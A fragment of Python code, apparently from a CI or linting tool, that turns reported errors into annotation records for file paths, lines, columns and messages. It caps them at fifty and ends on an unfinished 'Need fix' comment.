                # Limit the number of annotations to 50
                if max_annotations == 0:
                    break
                max_annotations -= 1

                start_line = file["line"]
                end_line = file["line"]
                start_column = file["column"]
                end_column = file["column"]
                message = file["message"]

                # Create a new annotation for each error
                annotation = {
                    "path": file_path,
                    "start_line": start_line,
                    "end_line": end_line,
                    "start_column": start_column,
                    "end_column": end_column,
                    "annotation_level": annotation_level,
                    "message": message,
                }
                # # Annotations only support start and end columns on the same line
                # if start_line == end_line:
                #     annotation.merge({"start_column": start_column, "end_column": end_column})

                annotations.append(annotation)
            
            # Need fix